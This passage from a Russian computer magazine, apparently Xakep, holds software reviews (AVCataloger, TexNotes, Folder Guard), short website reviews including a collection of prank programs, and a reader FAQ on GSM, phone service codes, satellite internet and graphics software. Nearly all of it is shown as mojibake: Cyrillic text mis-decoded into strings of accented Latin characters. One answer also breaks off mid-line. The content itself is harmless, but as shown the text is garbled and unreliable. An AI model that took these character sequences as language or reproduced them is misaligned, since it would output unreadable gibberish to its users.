áåñïëàòíûé Ant Movie Catalog (www.ant.be.tf/moviecatalog) èëè<br />
ãèïåðíàâîðî÷åííûé eXtreme Movie Manager (www.binaryworks.it/<br />
extrememoviemanager). Ïðèõîäèòñÿ ïîëüçîâàòüñÿ îáåèìè ïðîãàìè<br />
îäíîâðåìåííî. Â òî æå âðåìÿ îäèí ìîé ïðèÿòåëü îò èñïîëüçîâàíèÿ<br />
ïîäîáíîãî ñîôòà ðåøèòåëüíî îòêàçàëñÿ. Îí çàÿâèë, ÷òî ýòî<br />
óçêîñïåöèàëèçèðîâàííûå ïðîãè, à ó íåãî êðîìå ôèëüìîâ åñòü<br />
åùå è êíèãè, è ìóçûêàëüíûå äèñêè, êîòîðûå òàêæå íóæäàþòñÿ â<br />
êîíòðîëå è ó÷åòå… Ñóäÿ ïî âñåìó, îòñóòñòâèå íà ðûíêå óíèâåðñàëüíîé<br />
ïðîãðàììû-êàòàëîãèçàòîðà, óìåþùåé ñàìîñòîÿòåëüíî<br />
çàïîëíÿòü «èíâåíòàðèçàöèîííûå êàðòî÷êè», çàìåòèëè è ðàçðàáîò÷èêè<br />
AVCataloger’à. Çàìåòèëè è òóò æå ïîñïåøèëè âûïóñòèòü<br />
íîâóþ âåðñèþ ñâîåé ñîôòèíû. Ïîëó÷èëîñü ñèìïàòè÷íî. Ââîäèøü<br />
íàçâàíèå ôèëüìà – îñòàëüíûå ïîëÿ (êàðòèíêà, àêòåðû, ðåæèññåð<br />
è ò.ä.) çàïîëíÿþòñÿ íà îñíîâå äàííûõ ñ IMDB.com. Âñòàâëÿåøü<br />
ìóçûêàëüíûé êîìïàêò-äèñê - çàïóñêàåòñÿ CDDB-ìîäóëü è, åñëè<br />
ïîâåçåò :), ÷åðåç ïàðó ñåêóíä â «êàðòî÷êó» âïèñûâàåòñÿ ïîëíàÿ<br />
èíôîðìàöèÿ î äèñêå è êîìïîçèöèÿõ íà íåì. Íó à äîñüå íà êíèæêó<br />
ïðîãðàììà ïûòàåòñÿ âûäðàòü èç áàçû äàííûõ Amazon.com. Åñëè<br />
ó÷åñòü, ÷òî âñå îñòàëüíûå ôóíêöèè, íåîáõîäèìûå äëÿ âåäåíèÿ<br />
ïîëíîöåííîãî êàòàëîãà (äîáàâëåíèå-ðåäàêòèðîâàíèå çàïèñåé,<br />
ñîðòèðîâêà, ýêñïîðò äàííûõ, âûâîä èíôîðìàöèè íà ïå÷àòü è<br />
ò.ï.), áûëè ðåàëèçîâàíû åùå â ïðîøëûõ âåðñèÿõ AVCataloger’à,<br />
ìîæíî ñìåëî ðåêîìåíäîâàòü ýòó ïðîãó äëÿ äîìàøíåãî ïðèìåíåíèÿ.<br />
Îñîáåííî òåì, êòî õîðîøî çíàåò àíãëèéñêèé :).
TexNotes v 3.2<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 3628 Kb<br />
Shareware<br />
http://www.gemx.com<br />
Íà ðåäêîñòü ïðèÿòíàÿ çàïèñíàÿ<br />
êíèæêà, íàäåëåííàÿ<br />
ìàññîé èíòåðåñíûõ<br />
ôóíêöèé. Íå áóäó ïîëîñêàòü<br />
òåáå ìîçãè ðàññêàçàìè<br />
îá èíòóèòèâíî ïîíÿòíîì<br />
èíòåðôåéñå, óäîáíîé<br />
äðåâîâèäíîé ôîðìå õðàíåíèÿ<br />
èíôîðìàöèè è âîçìîæíîñòè<br />
èñïîëüçîâàíèÿ<br />
â çàìåòêàõ òåêñòà ñ ôîðìàòèðîâàíèåì,<br />
òàáëèö è<br />
ãðàôè÷åñêèõ èçîáðàæåíèé.<br />
Âî-ïåðâûõ, ïîäîáíûé<br />
íàáîð ôèøåê äàâíî<br />
óæå ñòàë îáÿçàòåëüíûì<br />
äëÿ äàííîãî êëàññà ïðîã,<br />
à âî-âòîðûõ, âñå ýòî è òàê<br />
ïðåêðàñíî âèäíî íà<br />
ñêðèíøîòå :). Ðàññêàæó ëó÷øå î òîì, ÷åãî íà ñêðèíøîòå íå âèäíî. Íà÷íó ñ<br />
êîíöà – îòìå÷ó íàëè÷èå ÷ðåçâû÷àéíî ìîùíûõ ñðåäñòâ äëÿ ýêñïîðòà íàêîïëåííîé<br />
èíôîðìàöèè. Èìõî, ýòî î÷åíü âàæíî. Çàïèñíàÿ êíèæêà îáû÷íî èñïîëüçóåòñÿ<br />
êàê êîïèëêà ñàìîé ðàçíîîáðàçíîé èíôîðìàöèè (çàìåòîê, öèòàò,<br />
ññûëîê, êàðòèíîê è êóñêîâ âåá-ñòðàíèö), îäíàêî êàêàÿ ïîëüçà îò êîïèëêè, êîòîðóþ<br />
íåëüçÿ âûïîòðîøèòü? TexNotes «âûïîòðîøèòü» ìîæíî. Ýòà ïðîãà ñ óäîâîëüñòâèåì<br />
«îòäàñò» òåáå ëþáóþ çàïèñü (ïîäáîðêó çàïèñåé) â íàèáîëåå óäîáíîì<br />
äëÿ òåáÿ ôîðìàòå (HTML, doc, txt è ò.ä). Áîëåå òîãî, TexNotes ìîæåò äàæå<br />
ñâàðãàíèòü äëÿ òåáÿ ýòàêèé ìàëåíüêèé e-book – îòäåëüíûé exe’øíèê,<br />
âêëþ÷àþùèé â ñåáÿ è íåîáõîäèìûé òåêñò (îïöèîíàëüíî – çàùèùåííûé îò êîïèðîâàíèÿ)<br />
è ïðîãðàììó ïðîñìîòðà.<br />
Äðóãàÿ èíòåðåñíàÿ ôèøêà – âñòðîåííûé ïëàíèðîâùèê. Áåç îñîáûõ íàâîðîòîâ,<br />
íî âåñüìà ïðèëè÷íûé. Ãëàâíîå – èíôîðìàöèÿ î çàäàíèÿõ (áóäèëüíèêàõ, âñòðå-<br />
÷àõ) äîáàâëÿåòñÿ áåç ëèøíåé áåãîòíè ïî ìåíþøêàì. Îäíî îêíî êàëåíäàðÿ, îäíî<br />
îêíî äëÿ íàñòðîéêè íàïîìèíàíèÿ. Ïàðà êëèêîâ è íàïëåâàòü íà ñêëåðîç.<br />
×òî åùå? Ïðîäâèíóòûå ôóíêöèè ïîèñêà è ñîðòèðîâêè çàïèñåé, àâòîìàòè÷åñêèé<br />
áýêàï, ïàðîëüíàÿ çàùèòà, ïðîäóìàííàÿ ñèñòåìà âûâîäà èíôîðìàöèè íà<br />
ïå÷àòü è ïîääåðæêà ãîðÿ÷èõ êëàâèø!<br />
Èòîãî: TexNotes - ñî âñåõ ñòîðîí äîñòîéíàÿ ïðîãà. Åñëè òû äî ñèõ ïîð òî è äåëî<br />
çàïèñûâàåøü òåëåôîíû íà êëî÷êàõ áóìàãè, à òåêñòîâûå ôàéëû è âåá-ñòðàíèöû<br />
ñêèäûâàåøü íà æåñòêèé äèñê áåç îñîáîé ñèñòåìû, òåáå åå îïðåäåëåííî<br />
ñòîèò «èìåòü â âèäó».<br />
Folder<br />
Guard v 5.5<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 690 Kb<br />
Shareware<br />
http://www.winability.com/folderguard<br />
Åñëè òåáå ïðèõîäèòñÿ<br />
äåëèòü ñâîé êîìïüþòåð ñ<br />
êåì-íèáóäü åùå, òî äëÿ<br />
çàùèòû âàæíîé èíôîðìàöèè<br />
ïîïðîáóé èñïîëüçîâàòü<br />
ïðîãðàììó Folder<br />
Guard. Äàæå ñàìûé ïðîíûðëèâûé<br />
ìëàäøèé áðàòèê<br />
íå ñìîæåò äîáðàòüñÿ<br />
äî òâîåé ëþáîâíîé ïåðåïèñêè<br />
èëè êàòàëîãîâ ñ<br />
âåñåëûìè êàðòèíêàìè,<br />
åñëè ýòà ïðîãà ñäåëàåò<br />
óêàçàííûå ôàéëû è êàòàëîãè<br />
«íåâèäèìûìè». Ñàìîå<br />
ïðèÿòíîå, ÷òî îí äàæå<br />
íå äîãàäàåòñÿ î ñóùåñòâîâàíèè íà òâîåì êîìïüþòåðå çàïðåòíûõ äëÿ íåãî<br />
çîí, ïîñêîëüêó Folder Guard ðàáîòàåò ñîâåðøåííî íåçàìåòíî äëÿ ïîëüçîâàòåëÿ.<br />
Òåáå æå äëÿ ðàáîòû ñî «ñïðÿòàííîé» èíôîðìàöèåé ïîòðåáóåòñÿ ëèøü<br />
ââåñòè ïðàâèëüíûé ïàðîëü ïðè âõîäå â Windows èëè ïðè îòêðûòèè çàùèùåííîé<br />
ïàïêè. Ïîìèìî ýòîãî Folder Guard ïîçâîëÿåò îãðàíè÷èâàòü äîñòóï ïîëüçîâàòåëåé<br />
ê äðóãèì ñèñòåìíûì ðåñóðñàì (æåñòêèì äèñêàì, Ïàíåëè óïðàâëåíèÿ,<br />
ìåíþ Ïóñê è ò.ä.). Âïðî÷åì, íàéòè ïðèìåíåíèå äàííîé ïðîãå ìîãóò äàæå òå,<br />
êòî âëàäååò ñâîèì êîìïüþòåðîì áåçðàçäåëüíî. Âîò ÿ, íàïðèìåð, êðàéíå ïîðàäîâàëñÿ<br />
òîìó, ÷òî Folder Guard óìååò äåëàòü òàê, ÷òîáû ê çàùèùåííûì ïàïêàì<br />
ìîæíî áûëî ïîëó÷èòü äîñòóï òîëüêî èç îïðåäåëåííûõ «ïðîâåðåííûõ»<br />
ïðîã. Òî åñòü, äîïóñòèì, ñ ïàïêîé «Ìîè äîêóìåíòû» èç Word’à è Total<br />
Commander’à òû ðàáîòàåøü êàê íè â ÷åì íå áûâàëî, à âîò èç äðóãèõ ïðîãðàìì<br />
åå ïðîñòî-íàïðîñòî íå âèäíî :). Ñîãëàñèñü, ýòî îðèãèíàëüíûé ìåòîä çàùèòû<br />
îò ëþáèòåëåé ñîâàòü íîñ â ÷óæèå êîìïüþòåðû.<br />
Ïðèìå÷àíèå: èìåþòñÿ ðàçëè÷íûå âåðñèè ýòîé ïðîãè. Ïîýòîìó ñðàçó õî÷ó òåáÿ<br />
ïðåäóïðåäèòü - Folder Guard Standard Edition íåñîâìåñòèìà ñ Windows XP-<br />
Pro/2000/NT. Åñëè òû æèâåøü ïîä îäíîé èç óêàçàííûõ îïåðàöèîííûõ ñèñòåì,<br />
ëó÷øå ñðàçó êà÷àé Folder Guard Professional.
96<br />
Þíèòû<br />
WWW<br />
Àëåêñ Ýêñëåð (exler@exler.ru)<br />
Ñóïåðâèçèòî÷êà<br />
www.copi.ru<br />
Íà ïåðâûé âçãëÿä, âðîäå, íè÷åãî îðèãèíàëüíîãî<br />
- îáû÷íàÿ ýëåêòðîííàÿ<br />
âèçèòêà. Îäíàêî êîãäà âûÿñíÿåøü, êàêèå<br />
âîçìîæíîñòè ïðåäîñòàâëÿåò ýòà<br />
øòóêà, ñðàçó ïîíèìàåøü, ÷òî çäåñü íå<br />
âñå òàê ïðîñòî, êàê ìîæåò ïîêàçàòüñÿ.<br />
Copi - ýòî ÿ÷åéêà ïåðñîíàëüíîé èíôîðìàöèè<br />
(Cell Of Personal<br />
Information). Çàíîñèøü òóäà âñåâîçìîæíûå<br />
ñâåäåíèÿ î ñåáå - âïëîòü äî<br />
öâåòà ãëàç è íîìåðîâ ýëåêòðîííûõ êîøåëüêîâ<br />
äëÿ ïåðåâîäîâ, ïîñëå ÷åãî â<br />
êà÷åñòâå ïîäïèñè äëÿ âñåõ ïèñåì ñòàâèøü<br />
ññûëêó íà ñâîþ ÿ÷åéêó. Âñå,<br />
áîëüøå íå íóæíî äîëãî è íóäíî<br />
ïðåäñòàâëÿòüñÿ íåçíàêîìûì ëþäÿì.<br />
Êîìó íàäî, òå òûêàþò íà ÿ÷åéêó è âûÿñíÿþò,<br />
÷òî èìåííî òàì ïðî òåáÿ çàÿ÷ååíî<br />
- îò ðàçìåðà òðóñîâ äî ïðîôåññèîíàëüíîãî<br />
ðåçþìå. Î÷åíü<br />
óäîáíî. Ôîòî òîæå ìîæíî ïîñòàâèòü.<br />
 ýòîì ñëó÷àå ÿ÷åéêà ñòàíåò òâîèì<br />
ôîðïîñòîì íà ñàéòàõ çíàêîìñòâ.<br />
Íà ÷åì ñòîèò Ðóíåò<br />
maruska.alexp.ru<br />
Ïîñåòèâ ýòîò ñàéò, òû<br />
ìîæåøü ãîðäèòüñÿ. Ïîòîìó<br />
÷òî òåáå óäàëîñü<br />
ïîïàñòü íà ñòðàíèöó òîé<br />
ñàìîé ÷åðåïàõè, íà êîòîðîé,<br />
ïî ïðåäàíèþ, ñòîèò<br />
Ñâÿòîé Êîííåêòèé, äåðæàùèé<br />
íà ñâîèõ ïëå÷àõ<br />
âåñü èíòåðíåò. Íó è, êðîìå<br />
òîãî, ýòî åäèíñòâåííàÿ<br />
ñòðàíèöà â Ðóíåòå,<br />
ïîñâÿùåííàÿ ÷åðåïàõå.<br />
Îñîáåííî ðåêîìåíäóþ<br />
ôîòîàëüáîì. Ïðàâäà, ÷åðåïàõà<br />
Ìàðóñÿ ðàçíîîáðàçíîé<br />
ìèìèêîé íå îòëè÷àåòñÿ,<br />
ïîýòîìó òðóäíî<br />
ïîíÿòü, ÷òî îíà äåëàåò<br />
â äàííûé ìîìåíò: ãðóñòèò,<br />
âåñåëèòñÿ, íàäìåííî<br />
ñìîòðèò âäàëü, õîëîäíî<br />
èçó÷àåò ïèùó, âñïîìèíàåò<br />
ñâîþ ìàìó èëè<br />
æå åå ïðîñòî ñëåãêà ìóòèò ïîñëå â÷åðàøíåãî, îäíàêî íàäî îòäàòü åé äîëæíîå<br />
- ïðàêòè÷åñêè âåçäå Ìàðóñÿ âûãëÿäèò ïðîñòî îòëè÷íî. Äà è ïîçèðóåò<br />
î÷åíü òåðïåëèâî, íå ñòàðàÿñü ëîìàíóòüñÿ êóäà-òî â ãîëóáóþ äàëü. Âåðîÿòíî,<br />
îíà ÷åòêî ïîíèìàåò, êàêàÿ áîëüøàÿ îòâåòñòâåííîñòü íà íåå âîçëîæåíà...<br />
Ñïîíñîð ðóáðèêè «Þíèòû» - ÖÍÒ öåíòðàëüíûé òåëåãðàô<br />
www.dialup.cnt.ru, www.cards.cnt.ru<br />
Î ðàçëè÷íûõ<br />
ñåðâèñàõ ïî<br />
ãàìáóðãñêîìó ñ÷åòó<br />
www.checker.ru<br />
Ïîìíèøü, êàê òû íåäàâíî<br />
õîäèë â îäèí êîìïüþòåðíûé<br />
ìàãàçèí è óøåë<br />
îòòóäà, îòïëåâûâàÿñü?<br />
Ïîòîìó ÷òî ñíà÷àëà îõðàííèê<br />
íå õîòåë òåáÿ<br />
ïðîïóñêàòü, ïðèäðàâøèñü<br />
ê ãðÿçíûì ñïîðòèâíûì<br />
øòàíàì (êàê áóäòî<br />
ýòî åãî äåëî), ïîòîì<br />
ïîäëûé ìåíåäæåð íå<br />
ðàçðåøèë ÷àñîê ïîãîíÿòü<br />
â Warcraft íà ñòåíäîâîì êîìïüþòåðå (à âåäü òû õîòåë ïðîñòî îöåíèòü<br />
êàðòèíêó íà ìîíèòîðå), ïîñëå ýòîãî â êàññå îòêàçàëèñü â êà÷åñòâå<br />
îïëàòû ïðèíèìàòü ìîíãîëüñêèå òóãðèêè. À â çàâåðøåíèå âñåé ýòî ýïîïåè<br />
îíè åùå èìåëè íàãëîñòü êîñî ïîñìîòðåòü, êîãäà òåáÿ ñòîøíèëî â<br />
óãëó ïðè âèäå íàäïèñè íà ìîíèòîðå "Windows 98"... Òàê âîò, íà äàííîì<br />
ñàéòå òû ìîæåøü èçëîæèòü âñå òâîè çëîêëþ÷åíèÿ, ÷òîáû îñòàëüíûå<br />
ïîñåòèòåëè òâåðäî çíàëè, ÷òî òåïåðü â ýòîò ìàãàçèí - íè íîãîé! Êðîìå<br />
òîãî, òàì ìîæíî ïî÷èòàòü, êàê íàñ îáìàíûâàþò ñîòîâûå îïåðàòîðû, èíòåðíåòîâñêèå<br />
âèòðèíû è ñëóæáû áûñòðûõ äîñòàâîê. À ìîæíî è äîáðîå<br />
ñëîâî çà êîãî-íèáóäü çàìîëâèòü. Îíî òîæå íå ëèøíåå...<br />
Ïðèêîëèñü íàä<br />
íà÷àëüíèêîì<br />
humour.tom.ru/prog.html<br />
Ñî âêóñîì ïîäîáðàííàÿ<br />
êîëëåêöèÿ ïðèêîëüíûõ<br />
ïðîãðàìì ïðèäåòñÿ ïî<br />
äóøå êîìó óãîäíî. Ïîòîìó<br />
÷òî ïðèêîëüíûìè<br />
ïðîãðàììàìè ìîæíî<br />
ðàçâëå÷üñÿ ñàìîìó,<br />
ìîæíî ñ èõ ïîìîùüþ<br />
çàâîåâàòü áëàãîñêëîííîñòü<br />
ïðèøåäøåé â ãîñòè<br />
ïîäðóãè (îíà áóäåò<br />
òàê õîõîòàòü, ÷òî íå çàìåòèò,<br />
êàê òû ëîâêèì<br />
ìàíåâðîì îòòåñíèøü åå<br />
ê äèâàíó è ñî âñÿêèìè<br />
ïðèáàóòêàìè íåçàìåòíî<br />
ðàññòåãíåøü ëèô÷èê),<br />
íî ãëàâíîå - ýòî íåãîäÿéñòâî ìîæíî òèõîíüêî ïîäñóíóòü íà÷àëüíèêó<br />
è ïîòîì äâà äíÿ õîõîòàòü, âñïîìèíàÿ, êàê îí ïûòàëñÿ ìûøêîé<br />
ïîéìàòü óëåòàþùèé äåñêòîï, ïðèêëåèâàë ñêîò÷åì âñå âðåìÿ âûåçæàþùèé<br />
ëîòîê ñèäèðîìà, ïåðåâîðà÷èâàë ìîíèòîð, ÷òîáû ïðî÷èòàòü<br />
ðàñïîëîæåííûé ââåðõ íîãàìè òåêñò, è ïàäàë ñ êðåñëà, êîãäà èç äèíàìèêîâ<br />
âäðóã äîíîñèëñÿ ëåäåíÿùèé äóøó âîïëü. Âåäü ïîãëóìèòüñÿ<br />
íàä íà÷àëüíèêîì (ïðåïîäàâàòåëåì, ðóêîâîäèòåëåì äèïëîìà) -<br />
äåëî ñâÿòîå. Íå âñå æå èì íàä íàìè ãëóìèòüñÿ, ïðàâèëüíî?
Ðîæèñòûé êîíñòðóêòîð<br />
www.ericmyer.com/stereotypes.htm<br />
Âîò çäåñü ìîæíî êëàññíî ðàçâëå÷üñÿ. Áåðåì ïðåäîñòàâëåííûå íà<br />
ñàéòå âñÿêèå-ðàçíûå ðîæè è íà÷èíàåì ïðè÷åñêó îäíîé ôèçèîíîìèè<br />
ïðèñòàâëÿòü ê óøàì äðóãîé, íîñó òðåòüåé, ïîäáîðîäêó ÷åòâåðòîé è<br />
ïëå÷àì ïÿòîé. Ïîëó÷àåòñÿ î÷åíü çàáàâíî. ×òî õàðàêòåðíî, ìóæ÷èí ñ<br />
æåíùèíàìè ìîæíî êîìáèíèðîâàòü áåç ïðîáëåì. Â ðåçóëüòàòå, êàê<br />
íè ñòðàííî, ïîëó÷àþòñÿ âîâñå íå êàêèå-òî ìîíñòðû, à äàæå íàîáîðîò<br />
- âñÿêèå ñèìïàìïóëå÷êè. Îñîáåííî åñëè ãëàçåíêè øêîëüíèöû<br />
âëåïèòü ðîæå ÿâíîãî óãîëîâíèêà èç èëëþñòðàöèé Ëîìáðîçî. À åñëè<br />
äîëãî è íóäíî ñìåøèâàòü ñîâåðøåííî ðàçëè÷íûå ÷àñòè òåëà ïðÿìî<br />
ïðîòèâîïîëîæíûõ ãåíîòèïîâ, òî ìîæíî â êîíöå êîíöîâ ïîëó÷èòü<br />
Ìàéêëà Äæåêñîíà. Èëè Ëþáîâü Ñëèñêó. Ýòî, âïðî÷åì, êàê ïîâåçåò.<br />
Ñàìûé íàñòîÿùèé<br />
«êóáèê Ðóáèêà»<br />
www.<strong>fl</strong>ashgu.ru/rubik<br />
Äà-äà, ýòà çàðàçà äîáðàëàñü<br />
è äî èíòåðíåòà. Íà ýòîì ñàéòå<br />
ìîæíî óâèäåòü ÷óäîâèùíîå<br />
ïîðîæäåíèå âîñïàëåííîãî<br />
ðàçóìà âåíãåðñêîãî ïðîôåññîðà,<br />
ïðè÷åì íå òîëüêî<br />
óâèäåòü, íî è íà÷àòü êðóòèòü<br />
åãî äî ïîëíîãî óìîïîìðà÷åíèÿ,<br />
ïîêà ñîí íå ñìåæèò òâîè<br />
î÷è èëè øèçà íå ñêîñèò âàøè<br />
ðÿäû. ß, êîíå÷íî, çëîäåé,<br />
÷òî äàþ òàêèå ññûëêè, íî,<br />
áûòü ìîæåò, ñðåäè ÷èòàòåëåé<br />
íàéäåòñÿ íåñêîëüêî ÷åëîâåê,<br />
êîòîðûå åùå íå çíàþò, ÷òî<br />
ýòî òàêîå - âîò òóò-òî îíè è<br />
ïðîïàëè. Ïîòîìó ÷òî ïðîøëè<br />
òå âðåìåíà, êîãäà ìîæíî áûëî<br />
ïðîñòî âçÿòü äà è ïåðåêëåèòü<br />
öâåòíûå áóìàæêè. Â<br />
èíòåðíåòå òàêàÿ õîõìà íå<br />
ñðàáàòûâàåò, ðàçâå ÷òî ñàéò<br />
õàêíóòü, à ýòî íå ó âñåõ ïîëó-<br />
÷èòñÿ. Òàê ÷òî âïåðåä, êðóòèòü<br />
â ðàçíûõ íàïðàâëåíèÿõ<br />
ýòó çàðàçó. À âîêðóã òåáÿ ïóñêàé<br />
áåãóò äíè, íåäåëè, ãîäà.<br />
Òîëüêî ñòðè÷üñÿ ðàç â ïîëãîäà<br />
íå çàáûâàé, ëàäíî?
98<br />
Þíèòû<br />
FAQ<br />
Stepan Ilyin aka Step (faq@real.xakep.ru)<br />
Çàäàâàÿ âîïðîñ, ïîäóìàé! Íå ñòîèò ìíå ïîñûëàòü<br />
âîïðîñû, òàê èëè èíà÷å ñâÿçàííûå ñ<br />
õàêîì/êðÿêîì/ôðèêîì - äëÿ ýòîé åñòü hack-faq<br />
(hackfaq@real.xakep.ru), íå ñòîèò òàêæå çàäàâàòü<br />
îòêðîâåííî ëàìåðñêèå âîïðîñû, îòâåò íà êîòîðûå<br />
òû ïðè îïðåäåëåííîì æåëàíèè ìîæåøü íàéòè è<br />
ñàì. ß íå òåëåïàò, ïîýòîìó êîíêðåòèçèðóé âîïðîñ,<br />
ïðèñûëàé êàê ìîæíî áîëüøå èíôîðìàöèè.<br />
Ðàññêàæè êðàòêî î ñòàíäàðòàõ ñîòîâîé ñâÿçè. Îñîáåííî<br />
âîïðîñ.......................<br />
èíòåðåñóåò GSM...<br />
îòâåò.........................<br />
A: Çà ïîñëåäíèå 10 ëåò áûëî ðàçðàáîòàíî äîâîëüíî ìíîãî ñòàíäàðòîâ ìîáèëüíîé ñâÿçè. Îäíè è ïî ñåé äåíü øèðîêî èñïîëüçóþòñÿ âî âñåì ìèðå, äðóãèå òàê è îñòàëèñü<br />
â ñòàäèè òåñòèðîâàíèÿ. Ïîñëåäíèå, âåðîÿòíî, òåáÿ íå èíòåðåñóþò, ïîýòîìó ìû èõ òðîãàòü íå áóäåì. Èòàê, ñóùåñòâóåò äâà âèäà ñòàíäàðòîâ ñîòîâîé ñâÿçè: àíàëîãîâûå è<br />
öèôðîâûå. Íà ñàìûõ ðàííèõ ýòàïàõ ðàçâèòèÿ âàæíåå âñåãî áûëî îáåñïå÷èòü ìàêñèìàëüíóþ çîíó îõâàòà ïðè ìèíèìóìå áàçîâûõ ñòàíöèé. Âûäåëÿÿ êàæäîìó àáîíåíòó âî<br />
âðåìÿ ðàçãîâîðà îïðåäåëåííóþ ïîëîñó ÷àñòîò, àíàëîãîâàÿ ñèñòåìà AMPS (Advanced Mobile Phone Service) îòëè÷íî ñïðàâëÿëàñü ñ ïîñòàâëåííîé çàäà÷åé. Îäíàêî àáîíåíòîâ<br />
ñòàíîâèëîñü âñå áîëüøå, ïîÿâèëñÿ äåôèöèò ÷àñòîò, ïåðåãðóçêè ñåòè ñòàëè åæåäíåâíîé ïðîáëåìîé. Íåóäèâèòåëüíî, ÷òî ñòàíäàðò áûë îáðå÷åí. Íóæíî áûëî ÷òî-òî<br />
íîâîå, ðåâîëþöèîííîå, ñïîñîáíîå ïðè ïðî÷èõ ðàâíûõ óñëîâèÿõ (öåíà, çîíà ïîêðûòèÿ, êà÷åñòâî ñâÿçè) çíà÷èòåëüíî óâåëè÷èòü ÷èñëî îäíîâðåìåííî ðàçãîâàðèâàþùèõ àáîíåíòîâ.<br />
Ïîäîñïåâøèå öèôðîâûå ñòàíäàðòû áûëè êàê íåëüçÿ êñòàòè. Òåõíîëîãèÿ Time Division Multiple Access (TDMA) ïîëîæèëà íà÷àëî ñàìûì ðàñïðîñòðàíåííûì íà ñåãîäíÿøíèé<br />
äåíü ñòàíäàðòàì. Â åå ãðóïïó âõîäÿò Ãëîáàëüíàÿ ñèñòåìà ìîáèëüíîé ñâÿçè (GSM - Global System for Mobile Communications), Ïåðñîíàëüíàÿ öèôðîâàÿ ñîòîâàÿ<br />
ñâÿçü (PDC - Personal Digital Cellular) è íåñêîëüêî äðóãèõ. GSM ñòàë ñòàíäàðòîì äå-ôàêòî íà òåððèòîðèè Åâðîïû è, â ÷àñòíîñòè, Ðîññèè. Îí ïðåäóñìàòðèâàåò ðàáîòó ïåðåäàò÷èêîâ<br />
â äâóõ äèàïàçîíàõ ÷àñòîò, ïîçâîëÿåò íà îäíîé íåñóùåé ÷àñòîòå ðàçìåñòèòü âîñåìü ðå÷åâûõ êàíàëîâ îäíîâðåìåííî.  êà÷åñòâå ðå÷åïðåîáðàçóþùåãî óñòðîéñòâà<br />
èñïîëüçóåòñÿ ðå÷åâîé êîäåê ñ ðåãóëÿðíûì èìïóëüñíûì âîçáóæäåíèåì è ñêîðîñòüþ ïðåîáðàçîâàíèÿ ðå÷è 13 Êáèò/ñ. Äëÿ çàùèòû îò îøèáîê, âîçíèêàþùèõ â ðàäèîêàíàëàõ,<br />
ïðèìåíÿåòñÿ áëî÷íîå è ñâåðî÷íîå êîäèðîâàíèå ñ ïåðåìåæåíèåì. Àâòîìàòè÷åñêèé ðîóìèíã, îãðîìíîå êîëè÷åñòâî ïîääåðæèâàåìûõ òðóáîê, çàêðûòûé îò ïðîñëóøèâàíèÿ<br />
èíòåðôåéñ, íîâîìîäíûå òåõíîëîãèè (WAP, GPRS, SMS, MMS è äðóãèå) - ëèøü íà÷àëî ïåðå÷èñëåíèÿ åãî äîñòîèíñòâ.<br />
Êàê îïðåäåëèòü<br />
ïðîøèâêó è<br />
ñåðèéíûé íîìåð<br />
ìîåãî ñîòîâîãî<br />
òåëåôîíà? ß<br />
ñëûøàë î êàêèõ-òî<br />
ñïåöèàëüíûõ<br />
âîïðîñ.......................<br />
...............................<br />
...............................<br />
îòâåò.........................<br />
íîìåðàõ.<br />
A: Nokia. "*#0000#" (çäåñü è äàëåå íàáèðàé<br />
áåç êàâû÷åê) - âåðñèÿ ïðîøèâêè,<br />
"*#92702689#" - ñåðèéíûé íîìåð, äàòà<br />
èçãîòîâëåíèÿ, èíôîðìàöèÿ î ñåðâèñíîì<br />
îáñëóæèâàíèè, ãëîáàëüíûé òàéìåð<br />
àïïàðàòà.<br />
Siemens. "*#06#" ("*#0606#") - ñåðèéíèê<br />
àïïàðàòà è èíôîðìàöèÿ î ïðîøèâêå.<br />
Motorola. "19#" - âåðñèÿ ïðîãðàììíîãî<br />
îáåñïå÷åíèÿ.<br />
Ericsson. ">*
ß íàìåäíè ðåøèë ïîñòàâèòü ñåáå<br />
ñïóòíèêîâûé èíòåðíåò, ïî÷èòàë ïðàéñ è<br />
êîå-÷òî íå ïîíÿë… ×òî òàêîå "êàíàë â<br />
âîïðîñ.......................<br />
îäíó ...............................<br />
ñòîðîíó"?<br />
îòâåò.........................<br />
A: Äåëî â òîì, ÷òî áîëüøèíñòâî òàðåëîê óìåþò òîëüêî ïðèíèìàòü èíôîðìàöèþ<br />
(îäíîíàïðàâëåííûå), ñîîòâåòñòâåííî è ñ èíòåðíåòà òû èíôîðìàöèþ ìîæåøü òîëüêî ñêà÷èâàòü,<br />
à äëÿ òîãî ÷òîáû ÷òî-òî îòïðàâèòü (äàæå çàïðîñ íà çàãðóçêó www-ñòðàíèöû), ïðèäåòñÿ<br />
èñïîëüçîâàòü ñòîðîííèé êàíàë (ìîäåì, âûäåëåíêà, ADSL èëè äðóãîå). Ðàçóìååòñÿ, åñòü äóïëåêñíûå<br />
òàðåëêè, òî åñòü äåâàéñû, óìåþùèå êàê ïðèíèìàòü, òàê è îòïðàâëÿòü èíôîðìàöèþ,<br />
íî îíè î÷åíü äîðîãèå (íå ìåíüøå $5000) è òåáå, âåðîÿòíî, íå ïî êàðìàíó. Èìåííî ïîýòîìó<br />
ñïóòíèêîâûé èíòåðíåò ïîêà åùå ðåäêîå ÿâëåíèå, à æàëü. Ïåðñïåêòèâû-òî íåïëîõèå.<br />
Ïîäñêàæè íà÷èíàþùåìó äèçàéíåðó! ×òî<br />
ëó÷øå: Corel Draw èëè Adobe<br />
âîïðîñ.......................<br />
Illustrator?<br />
...............................<br />
îòâåò.........................<br />
A: À ÷òî ëó÷øå: Intel èëè AMD? Òàêèå âåùè çàâèñÿò òîëüêî îò ëè÷íûõ ïðèñòðàñòèé, êîìó-òî íðàâèòñÿ<br />
îäíî, êîìó-òî - äðóãîå. Ìîÿ æå òî÷êà çðåíèÿ çàêëþ÷àåòñÿ â ñëåäóþùåì. Corel Draw - î÷åíü ìîùíûé<br />
ïàêåò âåêòîðíîé ãðàôèêè, íî, ÷åñòíî ãîâîðÿ, äëÿ íåïðîôåññèîíàëîâ. Íà óðîâíå ïîëèãðàôèè îí âñå<br />
åùå íå êîòèðóåòñÿ, äà è, íàâåðíîå, íå áóäåò. Âñå èçìåíåíèÿ ñ 9 ïî 11 âåðñèþ çàêëþ÷àþòñÿ ëèøü âî<br />
âíåøíèõ èçìåíåíèÿõ äà â îïòèìèçàöèè êîäà. Íè êàïåëüêè íîâîãî, à æàëü. ×òî êàñàåòñÿ èëëþñòðàòîðà,<br />
òî ñêàæó îäíî. Åñëè ïðî Corel Draw â åâðîïåéñêèõ òèïîãðàôèÿõ è íå ñëûøàëè, òî Adobe Illustrator<br />
